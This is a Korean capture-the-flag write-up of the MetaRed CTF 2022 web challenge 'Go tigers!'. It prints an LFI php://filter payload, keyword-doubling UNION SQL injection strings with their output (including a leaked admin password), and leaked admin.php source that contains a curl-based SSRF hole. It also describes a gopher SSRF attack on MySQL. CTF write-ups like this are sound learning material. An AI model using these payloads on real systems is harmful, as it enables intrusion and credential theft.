🚩CTF

[WEB] 1st-stage-MetaRed-CTF-2022

Veloideu 2022. 9. 28. 10:55

문제 개요


Solved Problem

[Basics]robots.txt -> flag

[Go tigers!]Sql injection, lfi, ssrf -> flag / 점수 493 솔브수 11

 

문제 풀이


1. 메인 index.php 확인

index.php 확인

2. 애플리케이션의 소스코드를 분석하고 Image Viewer에서 lfi 취약점이 발생해 index.php 소스코드를 가져온 결과 sql injection, lfi취약점이 존재하는것을 확인하였습니다.

index.php 소스코드

3. 2번에 결과를 토대로

 3-1. tiger.db, robots.txt에 정보를 이용하여 LFI 취약점으로 관리자 페이지와, 관리자 아이디 비밀번호를 가져올 수 있습니다.

 3-2 SQL Injection으로 관리자 페이지, 관리자 아이디 비밀번호를 가져올 수 있습니다.

현재 사진은 SQL Injection 사진밖에 저장을 하지 못해서 SQL Injection 방법만 설명드리겠습니다. // robots.txt 및 tiger.db는 사진을 저장하지 못해서 못보여드린점 죄송합니다 ( _ _ )

LFI
php://filter/read=convert.base64-encode/resource=../tiger.db

Union를 이용한 SQL injection
-1+UNIUNIONON+AlL+SELSELECTECT+(SELSELECTECT+tbl_name+FRFROMOM+sqlite_master+WHERE+type='table'+and+tbl_name+NOT+like+'sqlite_%'),'123

              id -> tigers<br />user -> 123<br />



-1+UNIUNIONON+AlL+SELSELECTECT+(SESELECTLECT+sql+FRFROMOM+sqlite_master+WHERE+name+='tigers'+LIMIT+1),'123'

             id -> CREATE TABLE "tigers" (
	`id`	INTEGER,
	`user`	TEXT,
	`pass`	TEXT
)<br />user -> 123<br />



-1+UNIUNIONON+AlL+SELSELECTECT+(SELSELECTECT+PASS+FRFROMOM+TIGERS+WHERE+id=1),'123'

             id -> This_password_is_very_safe!<br />user -> 123<br />

SQL Injection

4. 3번방식을 이용하여 얻은 정보로 관리자 페이지에 접근이 가능하였고, LFI 취약점을 이용하여 admin.php 소스코드도 확인하였습니다.

admin.php

<?php session_start(); ?>
<!DOCTYPE html>
<html>

<?php
ini_set('display_errors', 'on');
require_once 'hidden/data.php';


if (isset($_POST['submit']) && isset($_POST['username']) && isset($_POST['password'])) {
	if ( $_POST['username'] === $username && $_POST['password'] === $password) {
		$_SESSION['auth'] = "1";
		session_write_close();
	}
}

?>

<head>
	<title>SYPER Tigers Panel</title>
	<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
	<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
	<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
</head>
<body>
	<div class="navbar navbar-fixed-top navbar-inverse" >
	  <div class="navbar-inner">
		<div class="container">
			<div class="nav-collapse collapse">
				<ul class="nav">
					<li class='active'><a class="brand" href="">SYPER Tigers Panel</a></li>
				</ul>
				<ul class="nav pull-right">
					<li class='active' style='margin-top:2px;'><a href="<?php basename($_SERVER['PHP_SELF']); ?>" ><i class="icon-user"></i>&nbsp; Admin &nbsp; </a></li>
				</ul>
			</div>
		</div>
	  </div>
	</div>
	<style>body {
        background-color: #f5f5f5;
      }</style>

	<div class="container">
	<br>
	<div id="error" ></div>
	<div class="row">
		<div class="span4"></div>
		<?php   if (!isset($_SESSION['auth'])): ?>
			<center><h2>Administrator Login</h1><br>
			<div id="login">
				<form class="form-signin" action="<?php basename($_SERVER['PHP_SELF']); ?>" method="post" style="border:0px;">
				<h5>Username</h5>
				<input type="text" class="input-block-level" placeholder="Username" name="username" required>
				<h5>Password</h5>
				<input type="password" class="input-block-level" placeholder="Password" name="password" required>
				<input class="btn  btn-primary" type="submit" name='submit' value = "Submit" style='margin-top:10px;'/></center>
				</form>
			</div>
		<?php endif; session_write_close(); ?>
		<?php if (isset($_SESSION['auth'])): ?>
			<center><h2>Tiger Administrator Panel</h1><br>
			<p>This is your admin panel</p><br>
			<h4>Post Check</h4>
			<div id="login">
				<form class="form-signin" action="<?php basename($_SERVER['PHP_SELF']); ?>" method="post" style="border:0px;">
				<input type="text" class="input-block-level" placeholder="Post URL" name="post_url" required>
				<input class="btn  btn-primary" type="submit" name='post_check' value = "Check" style='margin-top:10px;'/>
				</form>
				<?php
				
				function str_contains($haystack, $needle) {
					return $needle !== '' && mb_strpos($haystack, $needle) !== false;
				}
				$not_protocol_smuggling = !str_contains(strtolower($_POST['post_url']),"file");

				if (isset($_SESSION['auth']) && isset($_POST['post_check']) && $not_protocol_smuggling) 
                { exec(escapeshellcmd("timeout 5 curl " . escapeshellarg($_POST['post_url']) . "
                 --output -"), $out); echo "<pre>"; print_r($out); echo "</pre>"; } ?>
			</div>
			<br>
			<!--Acordarse de Fixear el BD user juanperez  -->
		<h4>DB Status Check</h4>
			<div id="login">
				<form class="form-signin" action="<?php basename($_SERVER['PHP_SELF']); ?>" method="post" style="border:0px;">
				<input class="btn  btn-primary" type="submit" name='db_check' value = "Check" style='margin-top:10px;'/>
				</form>
				<?php if (isset($_SESSION['auth']) && isset($_POST['db_check'])) { 
                    exec('timeout 2 nc -z mysqlsafedb.com 3306 ; if [ $? -eq 0 ] ; 
                    then echo "Online"; else echo "Offline"; fi', $out); echo "<pre>"; print_r($out); echo "</pre>"; } ?>
			</div>
			<br>

		<?php endif; session_write_close(); ?>

		<br>
		<div class="span4"></div>
	</div>
	</div>
</body>
</html>

admin.php 소스코드 확인

 

5. 4번에 정보를 이용하여 escapeshellcmd(escapeshellarg())를 이용하여 command injection인줄 알았지만 file업로드를 할 수 없는구조로 webshell 등록도 불가능하며 command injection 이 불가능한 구조라는걸 코드를 다시보고 이해했습니다.

따라서 * mysqlsafedb.com 3306 / DB user juanperez 라는 주석 정보를 가지고 gopher를 이용한 ssrf를 해야된다는거를 떠올랐습니다.

 

Gopherus  도구를 이용하여 MySQL 연결 페이로드 작성

[SELECT schema_name FROM information_schema.schemata]

show databases; 와 동일한 효과

SSRF 페이로드 생성

 

6. 5번을 토대로 페이로드를 전송하면 %00는 안된다고 에러메시지가 출력되는데 %00 부분들을 더블인코딩하여 전송해서 결과를 얻었고 또한 아이디는 주석을 이용한 아이디를 꼭 적어줘야 했으며 gopher://127.0.0.1로 전송을 하면 원활한 응답값이 안옵니다. // flag 획득

flag 획득